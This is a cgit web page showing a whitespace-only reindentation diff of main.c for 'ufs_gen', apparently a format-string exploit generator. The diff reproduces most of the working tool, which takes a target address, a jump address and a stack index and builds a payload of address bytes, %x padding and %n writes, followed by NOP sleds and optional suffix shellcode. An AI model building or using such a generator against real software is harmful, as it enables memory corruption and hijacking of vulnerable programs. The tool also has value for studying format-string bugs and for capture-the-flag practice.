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-rw-r--r--main.c245
1 files changed, 123 insertions, 122 deletions
diff --git a/main.c b/main.c
index ac07f54..1c4bc17 100644
--- a/main.c
+++ b/main.c
@@ -5,12 +5,12 @@
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
-
+
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
-
+
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
@@ -24,6 +24,7 @@
#include <stdio.h>
#include <getopt.h>
+
static unsigned char payload[4096];
/* address to override */
@@ -54,9 +55,9 @@ static void usage(const char *arg0)
fputs("usage:\n\n", stderr);
fputs(
- "ufs_gen "
- "[--prefix pfx] [--suffix sfx] [--sfxnops n]\n"
- " --override addr --with addr --stackidx idx\n", stderr);
+ "ufs_gen "
+ "[--prefix pfx] [--suffix sfx] [--sfxnops n]\n"
+ " --override addr --with addr --stackidx idx\n", stderr);
exit(EX_USAGE);
}
@@ -72,82 +73,82 @@ static int parse_arguments(int argc, char *argv[])
bool with_set = false;
for (;;) {
- /* declaration of the options which we handle */
- enum {
- OPT_OVERRIDE,
- OPT_WITH,
- OPT_STACKIDX,
- OPT_ADDR_SIZE,
- OPT_PREFIX,
- OPT_SUFFIX,
- OPT_SFX_NOPS,
- };
-
- static struct option long_options[] = {
- {"override", required_argument, 0, OPT_OVERRIDE},
- {"with", required_argument, 0, OPT_WITH},
- {"stackidx", required_argument, 0, OPT_STACKIDX},
- {"addrsize", required_argument, 0, OPT_ADDR_SIZE},
- {"prefix", required_argument, 0, OPT_PREFIX},
- {"suffix", required_argument, 0, OPT_SUFFIX},
- {"sfxnops", required_argument, 0, OPT_SFX_NOPS},
- };
-
- int option_index;
- int c = getopt_long(argc, argv, "", long_options, &option_index);
-
- if (c == -1) {
- break;
- }
-
- switch (c) {
- case OPT_OVERRIDE:
- override_addr_g = strtoul(optarg, NULL, 16);
- override_set = true;
- break;
- case OPT_WITH:
- jmp_addr_g = strtoul(optarg, NULL, 16);
- with_set = true;
- break;
- case OPT_STACKIDX:
- idx_stack_g = atoi(optarg);
- stackidx_set = true;
- break;
- case OPT_ADDR_SIZE:
- address_size_g = atoi(optarg);
-
- if (address_size_g < 1 || address_size_g > 8) {
- return -1;
- }
-
- break;
- case OPT_PREFIX:
- prefix_g = optarg;
- break;
- case OPT_SUFFIX:
- suffix_g = optarg;
- break;
- case OPT_SFX_NOPS:
- suffix_nops_g = atoi(optarg);
- break;
- default:
- /*
- * we must have accessed an option which we do not have
- * specified in our switch-case
- */
-
- assert (false);
-
- break;
- }
+ /* declaration of the options which we handle */
+ enum {
+ OPT_OVERRIDE,
+ OPT_WITH,
+ OPT_STACKIDX,
+ OPT_ADDR_SIZE,
+ OPT_PREFIX,
+ OPT_SUFFIX,
+ OPT_SFX_NOPS,
+ };
+
+ static struct option long_options[] = {
+ {"override", required_argument, 0, OPT_OVERRIDE},
+ {"with", required_argument, 0, OPT_WITH},
+ {"stackidx", required_argument, 0, OPT_STACKIDX},
+ {"addrsize", required_argument, 0, OPT_ADDR_SIZE},
+ {"prefix", required_argument, 0, OPT_PREFIX},
+ {"suffix", required_argument, 0, OPT_SUFFIX},
+ {"sfxnops", required_argument, 0, OPT_SFX_NOPS},
+ };
+
+ int option_index;
+ int c = getopt_long(argc, argv, "", long_options, &option_index);
+
+ if (c == -1) {
+ break;
+ }
+
+ switch (c) {
+ case OPT_OVERRIDE:
+ override_addr_g = strtoul(optarg, NULL, 16);
+ override_set = true;
+ break;
+ case OPT_WITH:
+ jmp_addr_g = strtoul(optarg, NULL, 16);
+ with_set = true;
+ break;
+ case OPT_STACKIDX:
+ idx_stack_g = atoi(optarg);
+ stackidx_set = true;
+ break;
+ case OPT_ADDR_SIZE:
+ address_size_g = atoi(optarg);
+
+ if (address_size_g < 1 || address_size_g > 8) {
+ return -1;
+ }
+
+ break;
+ case OPT_PREFIX:
+ prefix_g = optarg;
+ break;
+ case OPT_SUFFIX:
+ suffix_g = optarg;
+ break;
+ case OPT_SFX_NOPS:
+ suffix_nops_g = atoi(optarg);
+ break;
+ default:
+ /*
+ * we must have accessed an option which we do not have
+ * specified in our switch-case
+ */
+
+ assert (false);
+
+ break;
+ }
}
if (optind < argc) {
- return -1;
+ return -1;
}
if (!override_set || !stackidx_set || !with_set) {
- return -1;
+ return -1;
}
return 0;
@@ -164,9 +165,9 @@ static int calc_remaining(unsigned int needed, unsigned int *so_far)
assert(needed <= 0xff);
if (needed >= (*so_far % 0x100)) {
- ret = needed - (*so_far % 0x100);
+ ret = needed - (*so_far % 0x100);
} else {
- ret = 0x100 - ((*so_far % 0x100) - needed);
+ ret = 0x100 - ((*so_far % 0x100) - needed);
}
*so_far += ret;
@@ -178,15 +179,15 @@ int main(int argc, char *argv[])
{
#define PUT_ADDR(_offset) \
do { \
- typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \
- \
- for (int sh = 0; sh < address_size_g; ++sh) { \
- for (int shift = 0; shift < address_size_g; ++shift) { \
- payload[i++] = (override_addr >> (shift * 8)) & 0xff; \
- ++written; \
- } \
- ++override_addr; \
- } \
+ typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \
+ \
+ for (int sh = 0; sh < address_size_g; ++sh) { \
+ for (int shift = 0; shift < address_size_g; ++shift) { \
+ payload[i++] = (override_addr >> (shift * 8)) & 0xff; \
+ ++written; \
+ } \
+ ++override_addr; \
+ } \
} while (0);
unsigned int i = 0;
@@ -194,64 +195,64 @@ int main(int argc, char *argv[])
unsigned int values_pop = 0;
if (parse_arguments(argc, argv) < 0) {
- usage(argv[0]);
+ usage(argv[0]);
}
if (prefix_g != NULL) {
- int len_pfx = strlen(prefix_g);
- int mod_len_pfx = len_pfx % address_size_g;
+ int len_pfx = strlen(prefix_g);
+ int mod_len_pfx = len_pfx % address_size_g;
- int len_padding = (mod_len_pfx == 0) ? 0 : address_size_g - mod_len_pfx;
+ int len_padding = (mod_len_pfx == 0) ? 0 : address_size_g - mod_len_pfx;
- memcpy(payload + i, prefix_g, len_pfx);
- i += len_pfx;
+ memcpy(payload + i, prefix_g, len_pfx);
+ i += len_pfx;
- memcpy(payload + i, "\x90\x90\x90\x90\x90\x90\x90", len_padding);
- i += len_padding;
+ memcpy(payload + i, "\x90\x90\x90\x90\x90\x90\x90", len_padding);
+ i += len_padding;
- /* TODO compute wisely these two values */
- written += len_pfx + len_padding;
+ /* TODO compute wisely these two values */
+ written += len_pfx + len_padding;
- idx_stack_g += ((len_pfx + len_padding) / address_size_g);
+ idx_stack_g += ((len_pfx + len_padding) / address_size_g);
}
PUT_ADDR(0);
/* override the address */
for (int shift = 0; shift < address_size_g; ++shift) {
- int remaining;
-
- if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
- memcpy(payload + i, "ffffffff", remaining);
- i += remaining;
- } else {
- i += sprintf((char *)payload + i, "%%%dx", remaining);
- ++values_pop;
- }
-
- if (values_pop == idx_stack_g) {
- /* (very) unlikely */
-
- i += sprintf((char *)payload + i, "%%n");
- ++values_pop;
- } else {
- i += sprintf((char *)payload + i, "%%%d$n", idx_stack_g);
- }
-
- ++idx_stack_g;
+ int remaining;
+
+ if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
+ memcpy(payload + i, "ffffffff", remaining);
+ i += remaining;
+ } else {
+ i += sprintf((char *)payload + i, "%%%dx", remaining);
+ ++values_pop;
+ }
+
+ if (values_pop == idx_stack_g) {
+ /* (very) unlikely */
+
+ i += sprintf((char *)payload + i, "%%n");
+ ++values_pop;
+ } else {
+ i += sprintf((char *)payload + i, "%%%d$n", idx_stack_g);
+ }
+
+ ++idx_stack_g;
}
fprintf(stderr, "NOP bytes are at offset %d (%#x)\n", i, i);
for (int nop = 0; nop < suffix_nops_g; ++nop) {
- payload[i++] = '\x90';
+ payload[i++] = '\x90';
}
if (suffix_g != NULL) {
- fprintf(stderr, "suffix is at offset %d (%#x)\n", i, i);
- int len_suffix = strlen(suffix_g);
+ fprintf(stderr, "suffix is at offset %d (%#x)\n", i, i);
+ int len_suffix = strlen(suffix_g);
- memcpy(payload + i, suffix_g, len_suffix);
- i += len_suffix;
+ memcpy(payload + i, suffix_g, len_suffix);
+ i += len_suffix;
}
/* we write our payload */
generated by cgit v1.2.3 (git 2.39.1) at 2024-12-24 17:14:48 +0000